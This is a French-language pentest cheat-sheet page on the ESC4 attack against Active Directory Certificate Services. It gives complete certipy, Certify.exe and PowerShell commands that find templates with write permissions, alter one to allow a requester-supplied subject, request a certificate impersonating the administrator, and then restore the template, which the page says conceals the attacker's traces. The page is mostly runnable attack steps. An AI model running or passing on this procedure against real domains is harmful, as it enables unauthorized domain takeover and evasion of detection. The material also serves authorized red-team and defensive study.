Skip to content

Description

ESC4 exploite des permissions trop permissives sur les modèles de certificats, permettant à un utilisateur d'écrire ou de modifier un modèle existant pour le rendre vulnérable (par exemple, pour créer une condition ESC1 ou ESC2 artificielle).

Conditions vulnérables

Un modèle de certificat est vulnérable à ESC4 si :

  1. Permissions d'écriture accordées - L'utilisateur a les droits WriteProperty, WriteOwner, WriteDacl, ou FullControl
  2. Template modifiable - Le modèle peut être modifié pour devenir exploitable
  3. Enrollment possible - L'utilisateur peut ensuite utiliser le modèle modifié via les droits Enroll
  4. Restauration possible - L'attaquant peut potentiellement restaurer la configuration originale pour masquer ses traces

Exploitation depuis linux (certipy)

Enumération des templates vulnérables :

bash
certipy find -u [email protected] -p password -target dc01.domain.local

# Énumération avec sortie JSON pour analyse détaillée des permissions
certipy find -u [email protected] -p password -target dc01.domain.local -json -output vulnerabilities.json 

# Recherche spécifique des permissions d'écriture
certipy find -u [email protected] -p password -target dc01.domain.local -vulnerable | grep -A10 -B5 "WriteProperty\|WriteOwner\|WriteDacl"

Modification du template pour le rendre exploitable :

bash
# Sauvegarde de la configuration originale
certipy template -u [email protected] -p password -target dc01.domain.local -template 'VulnerableTemplate' -save-old

# Modification du template pour activer ESC1
certipy template -u [email protected] -p password -target dc01.domain.local -template 'VulnerableTemplate' -enable-enrollee-supplies-subject

Exploitation du template modifié :

bash
certipy req -u [email protected] -p password -target dc01.domain.local -ca 'domain-DC01-CA' -template 'VulnerableTemplate' -upn [email protected]

Restauration du template :

bash
certipy template -u [email protected] -p password -target dc01.domain.local -template 'VulnerableTemplate' -configuration saved_config.json

Exploitation depuis windows (certify.exe + PowerShell)

Enumération des templates vulnérables :

powershell
# Énumération des modèles vulnérables 
Certify.exe find /vulnerable 

# Recherche spécifique des permissions d'écriture
Certify.exe find /vulnerable | findstr "WriteProperty\|WriteOwner\|WriteDacl\|FullControl"

Modification du template via PowerShell :

powershell
# Import du module Active Directory
Import-Module ActiveDirectory

# Sauvegarde de la configuration originale
$template = Get-ADObject -Identity "CN=VulnerableTemplate,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" -Properties *
$template | Export-Clixml -Path "template_backup.xml"

# Modification pour activer ESC1
Set-ADObject -Identity "CN=VulnerableTemplate,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" -Replace @{'msPKI-Certificate-Name-Flag'=1}

Faire la demande de certificat :

powershell
Certify.exe request /ca:DC01.domain.local\domain-DC01-CA /template:VulnerableTemplate /subject:"CN=administrator,CN=Users,DC=domain,DC=local"

Restauration du template :

powershell
$originalTemplate = Import-Clixml -Path "template_backup.xml"
Set-ADObject -Identity "CN=VulnerableTemplate,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" -Replace @{'msPKI-Certificate-Name-Flag'=$originalTemplate.'msPKI-Certificate-Name-Flag'}